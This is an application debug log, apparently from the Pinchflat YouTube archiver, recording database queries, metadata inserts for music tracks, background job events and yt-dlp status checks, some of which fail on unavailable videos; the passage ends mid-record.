("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [200, 202, ~U[2026-07-24 02:20:20Z], ~U[2026-07-24 02:20:20Z]] 22:20:20.185 [debug] Current batch of media processed. Will check again in 1000ms 22:20:20.262 [debug] QUERY OK source="sources" db=629.7ms queue=0.1ms idle=82.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:20.318 [debug] QUERY OK source="sources" db=55.3ms idle=349.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:20.319 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=404.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-27 10:00:36Z], 2] 22:20:20.457 [debug] QUERY OK source="media_items" db=137.7ms idle=288.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nBones In The Ocean · The Longest Johns\n\nBones In The Ocean\n\n℗ 2013 Universal Music Operations Limited\n\nReleased on: 2013-05-27\n\nRecording Engineer, Mastering Engineer, Mixing Engineer: Aled Jenkins\nProducer: The Longest Johns\nComposer Lyricist, Vocalist: Andrew Yates\nVocalist, Composer Lyricist: Dave Robinson\nVocalist, Composer Lyricist: Jonathan Darley\nVocalist, Composer Lyricist: Joshua Bowker\n\nAuto-generated by YouTube.", "Bones In The Ocean", "2ddd13cc-5529-492b-98bb-dac1a334f50d", false, "MivPd9m5NvI", 194, false, "https://www.youtube.com/watch?v=MivPd9m5NvI", 11, "/downloads/Classics/Classics/2025-04-27Bones In The Ocean[MivPd9m5NvI].m4a", false, false, 2, [], 1, ~U[2025-04-27 10:00:36Z], ~U[2026-07-24 02:20:20Z], ~U[2026-07-24 02:20:20Z], "Provided to YouTube by Universal Music Group\n\nBones In The Ocean · The Longest Johns\n\nBones In The Ocean\n\n℗ 2013 Universal Music Operations Limited\n\nReleased on: 2013-05-27\n\nRecording Engineer, Mastering Engineer, Mixing Engineer: Aled Jenkins\nProducer: The Longest Johns\nComposer Lyricist, Vocalist: Andrew Yates\nVocalist, Composer Lyricist: Dave Robinson\nVocalist, Composer Lyricist: Jonathan Darley\nVocalist, Composer Lyricist: Joshua Bowker\n\nAuto-generated by YouTube.", "Bones In The Ocean", "MivPd9m5NvI", 194, false, "https://www.youtube.com/watch?v=MivPd9m5NvI", "/downloads/Classics/Classics/2025-04-27Bones In The Ocean[MivPd9m5NvI].m4a", false, 2, ~U[2025-04-27 10:00:36Z]] 22:20:20.458 [debug] QUERY OK source="sources" db=0.2ms idle=272.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:20.458 [debug] QUERY OK source="media_profiles" db=0.1ms idle=195.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:20.458 [debug] QUERY OK source="media_items" db=0.1ms idle=140.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [48] 22:20:20.458 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by KING RECORD CO., LTD.\n\nFrom Beethoven 9 =3EM27= · Shiro SAGISU · PD\n\nShiro SAGISU Music from \"EVANGELION 3.0\"YOU CAN (NOT)REDO.\n\n℗ King Record Co.,Ltd.\n\nReleased on: 2012-11-28\n\nAuto-generated by YouTube.", "duration" => 181, "filename" => "/downloads/Classics/Classics/2020-07-21From Beethoven 9 =3EM27=[2IkX_S22EJA].m4a", "id" => "2IkX_S22EJA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2IkX_S22EJA", "playlist_index" => 12, "timestamp" => 1595343927, "title" => "From Beethoven 9 =3EM27=", "upload_date" => "20200721"} 22:20:20.459 [debug] QUERY OK source="sources" db=0.0ms idle=139.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:20.459 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:20.459 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-21 15:05:27Z], 2] 22:20:20.546 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vgldRamTEBI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/76/d1/76d12184a8d846cc6f7595f6671b119db834c6020d9d86b2a40c1c86b0a7ec12.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] vgldRamTEBI: Video unavailable. This video is not available 22:20:20.546 [error] yt-dlp download error for media item #190: "ERROR: [youtube] vgldRamTEBI: Video unavailable. This video is not available\n" 22:20:20.547 [error] yt-dlp download will not be retried: "ERROR: [youtube] vgldRamTEBI: Video unavailable. This video is not available\n" 22:20:20.610 [debug] QUERY OK source="media_items" db=150.9ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by KING RECORD CO., LTD.\n\nFrom Beethoven 9 =3EM27= · Shiro SAGISU · PD\n\nShiro SAGISU Music from \"EVANGELION 3.0\"YOU CAN (NOT)REDO.\n\n℗ King Record Co.,Ltd.\n\nReleased on: 2012-11-28\n\nAuto-generated by YouTube.", "From Beethoven 9 =3EM27=", "612768a4-3cc8-4f81-98c3-ee98ffdfc32d", false, "2IkX_S22EJA", 181, false, "https://www.youtube.com/watch?v=2IkX_S22EJA", 12, "/downloads/Classics/Classics/2020-07-21From Beethoven 9 =3EM27=[2IkX_S22EJA].m4a", false, false, 2, [], 1, ~U[2020-07-21 15:05:27Z], ~U[2026-07-24 02:20:20Z], ~U[2026-07-24 02:20:20Z], "Provided to YouTube by KING RECORD CO., LTD.\n\nFrom Beethoven 9 =3EM27= · Shiro SAGISU · PD\n\nShiro SAGISU Music from \"EVANGELION 3.0\"YOU CAN (NOT)REDO.\n\n℗ King Record Co.,Ltd.\n\nReleased on: 2012-11-28\n\nAuto-generated by YouTube.", "From Beethoven 9 =3EM27=", "2IkX_S22EJA", 181, false, "https://www.youtube.com/watch?v=2IkX_S22EJA", "/downloads/Classics/Classics/2020-07-21From Beethoven 9 =3EM27=[2IkX_S22EJA].m4a", false, 2, ~U[2020-07-21 15:05:27Z]] 22:20:20.611 [debug] QUERY OK source="sources" db=0.2ms idle=151.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:20.618 [debug] QUERY OK source="media_profiles" db=6.6ms idle=151.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:20.619 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [49] 22:20:20.619 [debug] Current batch of media processed. Will check again in 1000ms 22:20:20.650 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=fNjKyIoeQ48 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/33/80/3380ae434292c2aa5e7b47c61a8a467794e4b89b822abeb618dc704dd57e7a0e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] fNjKyIoeQ48: Video unavailable. This video is not available 22:20:20.650 [error] yt-dlp download error for media item #189: "ERROR: [youtube] fNjKyIoeQ48: Video unavailable. This video is not available\n" 22:20:20.650 [error] yt-dlp download will not be retried: "ERROR: [youtube] fNjKyIoeQ48: Video unavailable. This video is not available\n" 22:20:20.724 [info] {"args":{"id":190},"id":194,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3422947,"event":"job:stop","queue_time":3974702,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:20.912 [info] {"args":{"id":189},"id":193,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3526733,"event":"job:stop","queue_time":4974702,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:21.097 [info] {"args":{"id":194},"id":195,"meta":{},"system_time":1784859621096866513,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:21.097 [debug] QUERY OK source="media_items" db=0.1ms idle=478.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [194] 22:20:21.097 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:21.097 [debug] QUERY OK source="sources" db=0.0ms idle=373.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:21.097 [debug] QUERY OK source="media_profiles" db=0.0ms idle=366.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:21.098 [debug] QUERY OK source="media_items" db=0.1ms idle=185.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [194] 22:20:21.098 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [194] 22:20:21.098 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:21.099 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.099 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:21.099 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.099 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.099 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.099 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vF9r6CoZgnQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5f/7d/5f7d8e7fdbc3e2a13ac765dea5b9cb95d586bdf117c43d8023d6b56aed0d23f1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:21.185 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nMy Defiance · Josh Kincheloe · Death Therapy\n\nMy Defiance\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-02-15\n\nAuto-generated by YouTube.", "duration" => 238, "filename" => "/downloads/ChristianMetal/ChristianMetal/2019-02-14My Defiance[jx2M-jIRjcg].m4a", "id" => "jx2M-jIRjcg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=jx2M-jIRjcg", "playlist_index" => 37, "timestamp" => 1550139315, "title" => "My Defiance", "upload_date" => "20190214"} 22:20:21.218 [info] {"args":{"id":195},"id":196,"meta":{},"system_time":1784859621218052330,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:21.218 [debug] QUERY OK source="media_items" db=0.2ms idle=118.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [195] 22:20:21.218 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:21.218 [debug] QUERY OK source="sources" db=0.1ms idle=119.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:21.219 [debug] QUERY OK source="sources" db=33.5ms queue=0.1ms idle=87.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:21.220 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.7ms idle=119.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:21.220 [debug] QUERY OK source="sources" db=0.3ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:21.220 [debug] QUERY OK source="media_items" db=0.2ms idle=1.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [195] 22:20:21.220 [debug] QUERY OK source="media_items" db=0.2ms idle=1.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-02-14 10:15:15Z], 5] 22:20:21.221 [debug] QUERY OK source="media_metadata" db=0.2ms idle=1.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [195] 22:20:21.385 [debug] QUERY OK source="media_items" db=163.8ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nMy Defiance · Josh Kincheloe · Death Therapy\n\nMy Defiance\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-02-15\n\nAuto-generated by YouTube.", "My Defiance", "6a9b4135-d88d-45fe-8bb4-5cc930d1728e", false, "jx2M-jIRjcg", 238, false, "https://www.youtube.com/watch?v=jx2M-jIRjcg", 37, "/downloads/ChristianMetal/ChristianMetal/2019-02-14My Defiance[jx2M-jIRjcg].m4a", false, false, 5, [], 1, ~U[2019-02-14 10:15:15Z], ~U[2026-07-24 02:20:21Z], ~U[2026-07-24 02:20:21Z], "Provided 